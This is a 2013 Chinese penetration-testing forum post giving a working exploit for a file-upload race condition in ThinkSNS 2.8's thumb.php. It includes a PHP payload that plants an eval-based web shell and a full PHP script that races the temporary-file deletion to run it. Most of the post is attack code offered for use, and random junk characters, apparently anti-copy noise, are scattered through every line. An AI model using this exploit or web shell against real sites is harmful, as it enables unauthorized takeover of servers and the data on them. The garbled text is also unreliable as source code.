中国网络渗透测试联盟

标题: Thinksns2.8文件上传漏洞利用exp [打印本页]

作者: admin    时间: 2013-2-4 16:12
标题: Thinksns2.8文件上传漏洞利用exp
漏洞版本8 K) ]: |- g( Y8 k+ G" P9 b- }3 @
存在漏洞的版本为:最新的2.8稳定版。(其它版本没测试过): Z% J0 I- O0 N
漏洞文件$ e! p# B  q- p  \: V: H
存在漏洞的文件为:thumb.php& g, L- ^/ e6 e5 {) J2 U, x- D
作者:韦鲲鹏
! U& a, m  b' z6 n1 o% \3 k+ X1、        准备如下PHP文件并上传到服务器(自己的)。- q0 ]) `% ~: p- j' U+ O8 F! A
文件内容如下:
) j" ]8 t8 d: G$ y& ^<?php echo “<?php fwrite(fopen(‘img.php’,'w’), ‘<?php @eval(\$_POST[\"xpass\"]);?>’); ?>” ?>
# v; c, F$ Y* N5 x3 M/ x) M2、        计算出临时的文件名:
/ v1 K  ~& `4 J& }- G这里我们可以看文件的99行(刚刚是不是没注意呀!)。- Y1 W0 X" z' R% E# V
$ Y8 g1 E6 C; I+ M
3、        上传临时文件。7 [1 |- {% H$ H: E, {. h
4、        访问临时文件。
* J5 ?* q, H0 L6 O4 c但是这里有个问题,PHP脚本执行的速度是非常快的,如果手工来执行第三和第四步的话,那需要的反应速度该多快呀!所以必须写一个工具来代替人来提交数 据,而且,为了增加第三步的执行时间,为第四步争取时间,我们需要给第一步所准备的PHP填充内容,经过测试,文件大小为300KB时成功率最高。(太小 时间太短,太大可能传不上去。)) y: c" @% \/ P
Exploit文件内容如下:(这个我就不详细解释了)6 s3 s  i3 M( i# [
<?php
0 N# v& c2 U8 Derror_reporting(0);& C* \1 _' T4 k6 P1 l( c0 H' G
set_time_limit(0);  B1 g$ W$ C9 T* d# m
ini_set(“default_socket_timeout”, 5);
2 D% N( X, O. e& S4 N2 U) zfunction http_send($host, $port, $headers) {
2 q& {% q& b# e' t0 X1 H) O$fp = fsockopen($host, $port);+ u: {( B4 M. a3 n4 J9 q8 o
if (!$fp) die(‘Connection -> fail’);
2 r+ D. G) ?$ Tfputs($fp, $headers);
4 m9 }  `- ]/ E, t$ d3 W% k+ treturn $fp;
$ o  L+ t! Q# ?) G5 U! O* Z$ a}  [: x2 [. R4 E, @" |6 a
function http_recv($fp) {
$ }0 y) n* P+ c- b8 g4 i$ret=”";: c! s5 |7 [3 S% q7 e4 ~4 t
while (!feof($fp))- n2 H! o$ H' ~( N
$ret.= fgets($fp, 1024);
5 b! h. k/ U4 s& h8 c: A- ~& nfclose($fp);# O/ f1 g: {$ g6 J1 Y6 d$ M
return $ret;
8 E% t  z1 d4 U}! X7 ~9 w0 Y- G3 h' h& ~
print “\n#  ThinkSns Arbitrary File Upload   #\n”;- q3 h6 z/ |! J* e/ `) }
print “# Discovered by 韦鲲鹏 #\n\n”;
+ |4 S" C. z4 C! V9 aif ($argc < 4) {
' }) q# U: o+ Bprint “Usage:   php <host> <path> <romote_url>\n”;, w2 t$ j: H; l" q
print “Example: php localhost /thinksns/ http://localhost/test/123.php\n”;
; w* N0 Q, x) k% ndie();
7 J3 l: U% z! |; Y}0 ]" m) ~) V7 @4 R. Z8 g% P
$host = $argv[1];' g0 i/ J) F. _0 z3 t0 S
$path = $argv[2];. L* b" i3 x  j9 Z
$url = $argv[3];3 x: [* F5 I% t4 W- o$ [% ]
$i=0;
4 X' z' t8 C2 y//上传数据包: l6 e# X, N4 V
$headers_up = “GET {$path}thumb.php?url=”.$url.” HTTP/1.1\r\n”;
- [/ s: L, b" k* Q8 j( b$ I, ]$headers_up .= “Host: “.$host.”\r\n”;% O6 W" {/ O5 ]. ]- Z% F5 b: u6 J
$headers_up .= “Connection: close\r\n\r\n”;, i2 z) U( \: n7 j4 d& n( b' e' ?! S
echo $headers_up;
. u& v! X8 ]1 b! k4 d//临时文件访问数据包
4 |0 m" T, L4 }: x$headers = “GET {$path}data/thumb_temp/”.md5($url).strrchr($url,”.”).” HTTP/1.1\r\n”;+ H" }2 P& I& ^
$headers .= “Host: “.$host.”\r\n”;, ?; Z( ~. P& M/ z% Y
$headers .= “Connection: close\r\n\r\n”;
/ _3 |: Y0 ?7 d, mecho $headers;
" ]; m# ?/ Z# Y2 C' o7 L+ n  ]while(++$i<10) {
# R- ^& c2 }0 i7 [: E7 K* Sfclose(http_send($host, 80, $headers));
7 S6 L8 I' F6 d/ U+ p, Z/ I5 c}
* h, G0 \5 I) i2 A, s/ K6 t2 ~fclose(http_send($host, 80, $headers_up));
: {" q5 y0 m/ }7 b7 Lwhile(++$i<50) {
- \; V% o+ S% d) M7 d# L+ P  Kfclose(http_send($host, 80, $headers));7 n1 j4 b( A9 K' ]' U6 t
}
3 z6 y) T7 t, R  D7 m$headers = “GET {$path}data/thumb_temp/img.php HTTP/1.1\r\n”;1 |* ~( T. i4 j! \
$headers .= “Host: “.$host.”\r\n”;: w" V3 Y0 D5 A* R0 U
$headers .= “Connection: close\r\n\r\n”;! b( @$ g) W: @8 g+ [5 r
$res=http_recv(http_send($host, 80, $headers));( L" W9 s% C4 n9 w9 {/ T
if(preg_match(‘/200 OK/’,$res)) {
/ ]5 b3 X0 @7 |  F2 ~print “Success!\n\n”;% v2 b) C: U8 a  d
} else {, H+ J( \8 w; t+ k$ E
print “Fail!\n\n”;
+ D  _* F5 V; g) ~6 r}8 [* H* V2 r" d$ h" b
?>
5 y: C2 _3 f! i* H




欢迎光临 中国网络渗透测试联盟 (https://cobjon.com/) Powered by Discuz! X3.2